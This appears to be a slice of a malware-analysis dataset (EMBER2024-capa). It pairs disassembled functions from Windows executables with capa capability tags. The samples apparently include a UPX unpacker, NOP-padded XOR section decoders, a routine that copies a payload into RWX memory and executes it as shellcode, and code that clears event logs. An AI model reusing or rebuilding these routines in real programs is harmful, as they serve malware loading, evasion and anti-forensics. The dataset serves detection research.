joyce8/EMBER2024-capa huggingface dataset:
Function at 0x539a70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc7000]
push edi
or ebp, 0xffffffff
jmp 0x539a92
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x539a99
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x539a88
mov eax, 1
add ebx, ebx
jne 0x539aab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x539abc
jne 0x539adb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x539adb
dec eax
add ebx, ebx
jne 0x539ac8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x539aa0
add ebx, ebx
jne 0x539ad7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x539b2d
xor ecx, ecx
sub eax, 3
jb 0x539af3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x539b62
sar eax, 1
mov ebp, eax
jmp 0x539afe
add ebx, ebx
jne 0x539afe
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x539acc
inc ecx
add ebx, ebx
jne 0x539b0c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x539acc
add ebx, ebx
jne 0x539b19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x539b0e
jne 0x539b2a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x539b0e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x539b4c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x539b3e
jmp 0x539a8e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x539b4c
add edi, ecx
jmp 0x539a8e
pop esi
mov edi, esi
mov ecx, 0x3ac2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x539b6a
cmp byte [edi], 0x1e
jne 0x539b6a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x539b6f
lea edi, [esi + 0x136000]
mov eax, dword [edi]
or eax, eax
je 0x539be7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x14a874]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x14a998]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x539b9c
mov ecx, edi
jns 0x539bcb
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x14a9a0]
or eax, eax
je 0x539be1
mov dword [ebx], eax
add ebx, 4
jmp 0x539bb9
call dword [esi + 0x14a99c]
mov ebp, dword [esi + 0x14a9a4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x539c1b
sub esp, 0xffffff80
jmp 0x488ba3
Function at 0x401330
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
cmp dword [0x84b670], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
jne 0x401363
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
mov ecx, dword [0x42c298]
mov edx, dword [0x42c29c]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2c], edx
call fcn.00401320
mov ebx, dword [ebp - 0x18]
mov eax, dword [0x42c2a0]
mov ecx, dword [0x42c2a4]
add ebx, 0x23f
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], 0x20
jmp 0x4013b0
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov ecx, dword [0x84b670]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x401410
push 0
lea edx, [ebp - 0x430]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
mov eax, dword [ebp - 4]
mov ecx, dword [0x84b670]
add eax, dword [ebp - 0x30]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x40142a
mov dword [0x84ac0c], 0xedeb2e40
jmp 0x40143c
cmp ecx, 0x3eb
jne 0x40143c
mov dword [0x84a5c0], 0
mov ecx, dword [ebp - 0xc]
mov esi, edi
shr esi, cl
lea eax, [ebx + edi]
mov dword [ebp - 0x10], eax
mov dword [0x84ac08], 0xf4ea3dee
add esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
xor dword [ebp - 4], eax
cmp dword [0x84b670], 0x9e6
jne 0x401474
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor esi, dword [ebp - 4]
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x20]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov ecx, dword [ebp - 8]
shl ecx, 4
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
nop
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov esi, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
xor dword [ebp - 4], edx
shr esi, cl
add esi, dword [ebp - 0x2c]
cmp dword [0x84b670], 0x121
jne 0x4014da
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov eax, dword [ebp - 4]
xor eax, esi
add ebx, 0x61c88647
sub edi, eax
sub dword [ebp - 0x1c], 1
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ebx
jne 0x4013b0
cmp dword [0x84b670], 0xa6d
mov esi, dword [ebp + 8]
mov dword [esi], edi
jne 0x401521
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov eax, dword [ebp - 8]
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401620
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ecx
push 0x42d448
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x426118
push eax
mov dword fs:[0], esp
sub esp, 0x504
cmp dword [0x84b670], 0x5b1
push ebx
push esi
push edi
jne 0x4016ed
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupWrite]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x34]
call fcn.00401c70
push 0
mov dword [ebp - 4], 0
call fcn.00403a81
add esp, 4
jmp 0x401610
mov eax, dword [0x84b670]
add eax, 0x1134b
push eax
push 0
mov dword [0x84b670], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x84b670]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0x84a5c4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x401739
lea eax, [ebp - 0x510]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401726
mov ecx, dword [0x84b670]
xor esi, esi
test ecx, ecx
jbe 0x4017a9
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ebx, [ebx]
mov ecx, dword [0x84b674]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x84a5c4]
mov byte [eax + esi], dl
mov ecx, dword [0x84b670]
cmp ecx, 0xa8
jne 0x4017a4
push 0
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [ebp - 0x110]
push edx
call ebx
mov ecx, dword [0x84b670]
inc esi
cmp esi, ecx
jb 0x401760
xor eax, eax
jmp 0x4017b0
lea edx, [ecx + eax]
cmp edx, 0xe
je 0x401845
inc eax
cmp eax, 0x39621
jl 0x4017b0
call fcn.00401530
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x4017dd
call fcn.004015f0
inc esi
cmp esi, 0x6753f
jl 0x4017d1
mov esi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov edi, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov ebx, 0x7b
jmp 0x401800
cmp dword [0x84b670], 0x86
jne 0x40182a
push 0
push str.henanuhasov_xun
push str.ekuposu_nujuf
call esi
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub ebx, 1
jne 0x401800
call fcn.00401280
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x401850
Capabilities:
Access the windows event log
Clear windows event logs
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
cmp dword [0x84b670], 0x400
push esi
push edi
jne 0x4018b8
push 0
call dword [sym.imp.USER32.dll_WindowFromDC]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll__lopen]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea esi, [ebp - 0x24]
call fcn.004019b0
mov ecx, esi
call fcn.004019d0
mov edi, dword [ebp - 4]
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetCaretPos]
xor esi, esi
cmp esi, 0xa50
jge 0x4018d0
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x2af68b
jle 0x4018e6
cmp edi, 0x78d9a205
jne 0x4018ef
inc esi
cmp esi, 0x1c5d
jl 0x4018c4
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
lea ecx, [ecx]
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp esi, 0x206d47
jg 0x40191d
inc esi
cmp esi, 0x4f6a4
jl 0x401900
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor esi, esi
push 0
call edi
cmp esi, 0x2b259d
jle 0x40193c
cmp ebx, 0x785074d5
jne 0x401945
inc esi
cmp esi, 0x11915
jl 0x401928
mov ecx, dword [0x42c4dc]
mov edx, dword [0x42c4b0]
mov dword [0x84b670], ecx
mov dword [0x84b674], edx
call fcn.00401620
mov esi, dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov edi, 0x3078f
pop ebx
mov edi, edi
cmp dword [0x84b670], 0x51f
jne 0x40198c
push 0
lea eax, [ebp - 0x424]
push eax
push str.kuzekaziguzedabixuve
call esi
sub edi, 1
jne 0x401970
mov eax, dword [0x84a5c4]
mov dword [0x84ac04], eax
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4043db
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b560]
jne 0x4043e5
repz ret
jmp fcn.0040866c
Function at 0x40b68a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406f5e
and dword [ebp - 4], 0
cmp dword [0x42d36c], 0
mov ebx, eax
jne 0x40b73b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b7ec
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b7ec
push eax
call fcn.00406eec
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42d36c], eax
call esi
push eax
call fcn.00406eec
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42d370], eax
call esi
push eax
call fcn.00406eec
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42d374], eax
call esi
push eax
call fcn.00406eec
pop ecx
mov dword [0x42d37c], eax
test eax, eax
je 0x40b73b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00406eec
pop ecx
mov dword [0x42d378], eax
mov eax, dword [0x42d378]
cmp eax, ebx
je 0x40b793
cmp dword [0x42d37c], ebx
je 0x40b793
push eax
call fcn.00406f67
push dword [0x42d37c]
mov esi, eax
call fcn.00406f67
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b793
test edi, edi
je 0x40b793
call esi
test eax, eax
je 0x40b78a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b78a
test byte [ebp - 0xc], 1
jne 0x40b793
or dword [ebp + 0x10], 0x200000
jmp 0x40b7cc
mov eax, dword [0x42d370]
cmp eax, ebx
je 0x40b7cc
push eax
call fcn.00406f67
pop ecx
test eax, eax
je 0x40b7cc
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b7cc
mov eax, dword [0x42d374]
cmp eax, ebx
je 0x40b7cc
push eax
call fcn.00406f67
pop ecx
test eax, eax
je 0x40b7cc
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42d36c]
call fcn.00406f67
pop ecx
test eax, eax
je 0x40b7ec
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b7ee
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4014a0
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x84b660]
mov ecx, dword [0x84a5b0]
shr eax, 3
sub esp, 0x408
test eax, eax
jbe 0x401547
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
lea ebx, [ebx]
cmp dword [0x84b660], 0x959
jne 0x401531
push 0
push 0
call esi
push str.filofebubakexojut
push 0
push 0
call edi
push 0
push 0
push str.galobakanokusi
push str.vopaxi
push 0
call ebx
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push str.Yinuweyuw_fekeduwiwewub_nisusajizazur
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov ecx, dword [ebp - 4]
push ecx
call fcn.004012b0
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x4014e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4018c0
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
cmp dword [0x84b660], 0x400
push esi
push edi
jne 0x401911
xor ecx, ecx
xor eax, eax
lea edx, [ebp - 4]
push edx
mov word [ebp - 4], ax
mov word [ebp - 2], cx
mov eax, dword [ebp - 4]
push eax
push ecx
push str.Wikiguxis_waj_rozuxineb
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
lea esi, [ebp - 0x24]
call fcn.00401a00
mov ecx, esi
call fcn.00401a20
mov edi, dword [ebp - 4]
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharLowerBuffA]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0xa50
jge 0x401933
push 0
lea ecx, [ebp - 0x424]
push ecx
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x2af68b
jle 0x401949
cmp edi, 0x78d9a205
jne 0x401952
inc esi
cmp esi, 0x1c5d
jl 0x401920
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, esi
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp esi, 0x206d47
jg 0x40197d
inc esi
cmp esi, 0x4f6a4
jl 0x401960
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
xor esi, esi
push 0
call edi
cmp esi, 0x2b259d
jle 0x40199c
cmp ebx, 0x785074d5
jne 0x4019a5
inc esi
cmp esi, 0x11915
jl 0x401988
mov edx, dword [0x42c4cc]
mov dword [0x84b660], edx
call fcn.00401640
mov esi, dword [sym.imp.KERNEL32.dll_GetVolumePathNameW]
mov edi, 0x3078f
pop ebx
cmp dword [0x84b660], 0x51f
jne 0x4019de
push 0
lea eax, [ebp - 0x824]
push eax
push 0x428e98
call esi
sub edi, 1
jne 0x4019c2
mov eax, dword [0x84a5b0]
mov dword [0x84abf4], eax
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x40456b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b218]
jne 0x404575
repz ret
jmp fcn.0040890c
Function at 0x40a75f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407202
and dword [ebp - 4], 0
cmp dword [0x42d314], 0
mov ebx, eax
jne 0x40a810
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40a8c1
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40a8c1
push eax
call fcn.00407190
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42d314], eax
call esi
push eax
call fcn.00407190
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42d318], eax
call esi
push eax
call fcn.00407190
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42d31c], eax
call esi
push eax
call fcn.00407190
pop ecx
mov dword [0x42d324], eax
test eax, eax
je 0x40a810
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00407190
pop ecx
mov dword [0x42d320], eax
mov eax, dword [0x42d320]
cmp eax, ebx
je 0x40a868
cmp dword [0x42d324], ebx
je 0x40a868
push eax
call fcn.0040720b
push dword [0x42d324]
mov esi, eax
call fcn.0040720b
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40a868
test edi, edi
je 0x40a868
call esi
test eax, eax
je 0x40a85f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40a85f
test byte [ebp - 0xc], 1
jne 0x40a868
or dword [ebp + 0x10], 0x200000
jmp 0x40a8a1
mov eax, dword [0x42d318]
cmp eax, ebx
je 0x40a8a1
push eax
call fcn.0040720b
pop ecx
test eax, eax
je 0x40a8a1
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40a8a1
mov eax, dword [0x42d31c]
cmp eax, ebx
je 0x40a8a1
push eax
call fcn.0040720b
pop ecx
test eax, eax
je 0x40a8a1
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42d314]
call fcn.0040720b
pop ecx
test eax, eax
je 0x40a8c1
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40a8c3
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4216da
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x50bc30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0041ef20
mov dword [ebp - 0x14], eax
cmp dword [0x50d798], edi
jne 0x4217cb
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x421758
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4218ab
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x4218ab
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4218ab
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x50d798], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x50d79c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x50d7a0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x50d7a8], eax
test eax, eax
je 0x4217c8
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x50d7a4], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4217f0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4217e3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x421805
push 4
pop eax
jmp 0x4218ad
cmp dword [ebp - 0x14], edi
je 0x421805
push dword [0x50d798]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4217ea
mov eax, dword [0x50d7a4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x421863
cmp dword [0x50d7a8], esi
je 0x421863
push eax
call ebx
push dword [0x50d7a8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x421863
test eax, eax
je 0x421863
call ecx
test eax, eax
je 0x421858
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x421858
test byte [ebp - 8], 1
jne 0x421863
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x421893
mov eax, dword [0x50d79c]
cmp eax, esi
je 0x421890
push eax
call ebx
test eax, eax
je 0x421890
call eax
mov edi, eax
test edi, edi
je 0x421890
mov eax, dword [0x50d7a0]
cmp eax, esi
je 0x421890
push eax
call ebx
test eax, eax
je 0x421890
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x50d798]
call ebx
test eax, eax
je 0x4218ab
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x4218ad
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041fed3
leave
ret
Function at 0x414de0
Capabilities:
Encode data using xor

Disassembly:
xor dword [eax], esi
mov edi, ecx
mov ecx, 0xde36e874
add eax, 4
sub edi, ecx
sub ebx, 0xebcdee71
cmp eax, edx
jne fcn.00414de0
sub ecx, ebx
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
mov ecx, 0x40476a1e
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x43035a14
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x432004
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x774b6982
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..text_1
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x443d2161
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4070b0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x41fd1b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x404764
call fcn.004088c7
push 4
mov dword [esp + 0x18], 0
call fcn.00409812
mov edi, eax
add esp, 4
test edi, edi
je 0x407124
push ebx
call fcn.004086a3
mov dword [edi], eax
call fcn.00408432
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.00408808
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x407118
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00408830
pop ebx
jmp 0x407126
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
